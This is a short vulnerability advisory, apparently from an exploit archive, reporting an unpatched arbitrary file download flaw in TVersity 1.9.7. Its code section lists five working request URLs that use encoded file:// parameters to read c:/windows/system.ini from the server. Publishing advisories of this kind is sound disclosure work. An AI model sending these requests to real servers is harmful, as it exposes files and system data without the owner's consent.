TVersity 1.9.7 - Arbitrary File Download

Author: Luigi Auriemma
type: webapps
platform: windows
port: 
date_added: 2012-03-14 
date_updated: 2012-03-14 
verified: 1 
codes: OSVDB-80122 
tags: 
aliases:  
screenshot_url:  
application_url: 

#######################################################################

                             Luigi Auriemma

Application:  TVersity
              http://tversity.com
Versions:     <= 1.9.7
Platforms:    Windows
Bug:          arbitrary files downloading
Exploitation: remote
Date:         14 Mar 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


TVersity is an home media server.


#######################################################################

======
2) Bug
======


Possibility of downloading arbitrary files.

Note that TVersity is intended for an home usage and by default it
shouldn't accept connections from internet (there is a specific option
for that), anyway I have not verified.


#######################################################################

===========
3) The Code
===========


http://SERVER:41952/geturl/.%3ftype%3daudio%252fmpeg%26url%3dfile://c:/windows/&ext=system.ini
http://SERVER:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/&ext=system.ini
http://SERVER:41952/geturl/%2e?type=audio/mpeg&url=file://c:/windows/system.ini&ext=.
http://SERVER:41952/geturl/system.ini.ini?type=audio/mpeg&url=file://c:/windows/&ext=.ini
http://SERVER:41952/geturl/c:\windows\system.ini.mp3?type=audio/mpeg&url=file://&ext=.ini


#######################################################################

======
4) Fix
======


No fix.


#######################################################################